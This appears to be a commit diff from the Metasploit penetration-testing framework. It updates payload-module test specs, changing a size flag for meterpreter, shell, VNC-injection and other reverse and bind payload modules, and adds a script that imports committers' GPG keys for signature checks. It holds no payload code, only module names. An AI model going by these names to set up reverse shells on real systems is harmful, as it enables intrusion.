||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/meterpreter_reverse_https'
|
||||
end
|
||||
|
@ -2528,7 +2528,7 @@ describe 'modules/payloads', :content do
|
|||
ancestor_reference_names: [
|
||||
'singles/windows/meterpreter_reverse_ipv6_tcp'
|
||||
],
|
||||
dynamic_size: true,
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/meterpreter_reverse_ipv6_tcp'
|
||||
end
|
||||
|
@ -2538,7 +2538,7 @@ describe 'modules/payloads', :content do
|
|||
ancestor_reference_names: [
|
||||
'singles/windows/meterpreter_reverse_tcp'
|
||||
],
|
||||
dynamic_size: true,
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/meterpreter_reverse_tcp'
|
||||
end
|
||||
|
@ -2571,7 +2571,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/windows/bind_tcp',
|
||||
'stages/windows/meterpreter'
|
||||
],
|
||||
dynamic_size: true,
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/meterpreter/bind_tcp'
|
||||
end
|
||||
|
@ -2789,7 +2789,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/windows/bind_tcp',
|
||||
'stages/windows/patchupdllinject'
|
||||
],
|
||||
dynamic_size: true,
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/patchupdllinject/bind_tcp'
|
||||
end
|
||||
|
@ -2932,7 +2932,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/windows/bind_tcp',
|
||||
'stages/windows/patchupmeterpreter'
|
||||
],
|
||||
dynamic_size: true,
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/patchupmeterpreter/bind_tcp'
|
||||
end
|
||||
|
@ -3075,7 +3075,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/windows/bind_tcp',
|
||||
'stages/windows/shell'
|
||||
],
|
||||
dynamic_size: true,
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/shell/bind_tcp'
|
||||
end
|
||||
|
@ -3268,7 +3268,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/windows/bind_tcp',
|
||||
'stages/windows/upexec'
|
||||
],
|
||||
dynamic_size: true,
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/upexec/bind_tcp'
|
||||
end
|
||||
|
@ -3411,7 +3411,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/windows/bind_tcp',
|
||||
'stages/windows/vncinject'
|
||||
],
|
||||
dynamic_size: true,
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/vncinject/bind_tcp'
|
||||
end
|
||||
|
@ -3552,7 +3552,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/windows/x64/bind_tcp',
|
||||
'stages/windows/x64/meterpreter'
|
||||
],
|
||||
dynamic_size: true,
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/x64/meterpreter/bind_tcp'
|
||||
end
|
||||
|
@ -3574,7 +3574,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/windows/x64/reverse_tcp',
|
||||
'stages/windows/x64/meterpreter'
|
||||
],
|
||||
dynamic_size: true,
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/x64/meterpreter/reverse_tcp'
|
||||
end
|
||||
|
@ -3584,7 +3584,7 @@ describe 'modules/payloads', :content do
|
|||
ancestor_reference_names: [
|
||||
'singles/windows/x64/meterpreter_bind_tcp'
|
||||
],
|
||||
dynamic_size: true,
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/x64/meterpreter_bind_tcp'
|
||||
end
|
||||
|
@ -3594,7 +3594,7 @@ describe 'modules/payloads', :content do
|
|||
ancestor_reference_names: [
|
||||
'singles/windows/x64/meterpreter_reverse_http'
|
||||
],
|
||||
dynamic_size: true,
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/x64/meterpreter_reverse_http'
|
||||
end
|
||||
|
@ -3604,7 +3604,7 @@ describe 'modules/payloads', :content do
|
|||
ancestor_reference_names: [
|
||||
'singles/windows/x64/meterpreter_reverse_https'
|
||||
],
|
||||
dynamic_size: true,
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/x64/meterpreter_reverse_https'
|
||||
end
|
||||
|
@ -3614,7 +3614,7 @@ describe 'modules/payloads', :content do
|
|||
ancestor_reference_names: [
|
||||
'singles/windows/x64/meterpreter_reverse_ipv6_tcp'
|
||||
],
|
||||
dynamic_size: true,
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/x64/meterpreter_reverse_ipv6_tcp'
|
||||
end
|
||||
|
@ -3624,7 +3624,7 @@ describe 'modules/payloads', :content do
|
|||
ancestor_reference_names: [
|
||||
'singles/windows/x64/meterpreter_reverse_tcp'
|
||||
],
|
||||
dynamic_size: true,
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/x64/meterpreter_reverse_tcp'
|
||||
end
|
||||
|
@ -3635,7 +3635,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/windows/x64/bind_tcp',
|
||||
'stages/windows/x64/shell'
|
||||
],
|
||||
dynamic_size: true,
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/x64/shell/bind_tcp'
|
||||
end
|
||||
|
@ -3646,7 +3646,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/windows/x64/reverse_tcp',
|
||||
'stages/windows/x64/shell'
|
||||
],
|
||||
dynamic_size: true,
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/x64/shell/reverse_tcp'
|
||||
end
|
||||
|
@ -3677,7 +3677,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/windows/x64/bind_tcp',
|
||||
'stages/windows/x64/vncinject'
|
||||
],
|
||||
dynamic_size: true,
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/x64/vncinject/bind_tcp'
|
||||
end
|
||||
|
@ -3688,7 +3688,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/windows/x64/reverse_tcp',
|
||||
'stages/windows/x64/vncinject'
|
||||
],
|
||||
dynamic_size: true,
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/x64/vncinject/reverse_tcp'
|
||||
end
|
||||
|
|
|
@ -627,7 +627,7 @@ shared_examples_for 'Msf::DBManager::Session' do
|
|||
)
|
||||
end
|
||||
|
||||
it { expect(subject.routes).to eq(routes) }
|
||||
it { expect(subject.routes.to_a).to eq(routes) }
|
||||
end
|
||||
|
||||
context 'without :routes' do
|
||||
|
|
|
@ -0,0 +1,59 @@
|
|||
#!/bin/bash
|
||||
|
||||
# Requires bash version 3 or so for regular expression pattern match
|
||||
|
||||
COMMITTER_KEYS_URL='https://raw.githubusercontent.com/wiki/rapid7/metasploit-framework/Committer-Keys.md'
|
||||
KEYBASE_KEY_URLS=$(
|
||||
\curl -sSL $COMMITTER_KEYS_URL |
|
||||
\awk '$4 ~/https:\/\/keybase.io\//' |
|
||||
\sed 's#.*\(https://keybase.io/[^)]*\).*#\1/key.asc#'
|
||||
)
|
||||
|
||||
for key in $KEYBASE_KEY_URLS; do
|
||||
echo Importing $key...
|
||||
\curl -sSL $key | gpg --quiet --no-auto-check-trustdb --import -
|
||||
done
|
||||
|
||||
# Exceptions -- keys that do show up in the logs, but aren't (yet) in Keybase:
|
||||
# This should cover every key since May of 2014.
|
||||
|
||||
# Currently, one lone missing key:
|
||||
#
|
||||
# gpg: Signature made Mon 16 Feb 2015 02:09:53 PM CST using RSA key ID D5D50A02
|
||||
# gpg: Can't check signature: public key not found
|
||||
# 14da69c - Land #4757, adds RC for auto payload gen (3 months ago) <kernelsmith@github> []
|
||||
#
|
||||
# https://github.com/rapid7/metasploit-framework/commit/14da69c is
|
||||
# harmless, though. It's only an RC script, not run by default, and it
|
||||
# automates setting up a payload handler.
|
||||
|
||||
|
||||
echo Processing exceptions...
|
||||
|
||||
MIT_KEYIDS="
|
||||
Brandont 0xA3EE1B07
|
||||
Ccatalan 0xC3953653
|
||||
Farias 0x01DF79A1
|
||||
Firefart 0x66BC32C7
|
||||
HDM 0xFA604913
|
||||
Jvennix 0x3E85A2B0
|
||||
Kernelsmith 0x3D609E33
|
||||
Lsanchez 0xFB80E8DD
|
||||
OJ 0x1FAA5749
|
||||
Sgonzalez 0xCA93BCE5
|
||||
Shuckins 0x8C03C944
|
||||
TheLightCosine 0x3A913DB2
|
||||
Wvu 0xC1629024
|
||||
"
|
||||
|
||||
MIT_KEY_URL_BASE="https://pgp.mit.edu/pks/lookup?op=get&search="
|
||||
|
||||
for key in $MIT_KEYIDS; do
|
||||
if [[ $key =~ ^0x ]]
|
||||
then
|
||||
\curl -sSL $MIT_KEY_URL_BASE$key | gpg --quiet --no-auto-check-trustdb --import -
|
||||
else
|
||||
echo Importing key for $key...
|
||||
fi
|
||||
done
|
||||
|
Loading…
Reference in New Issue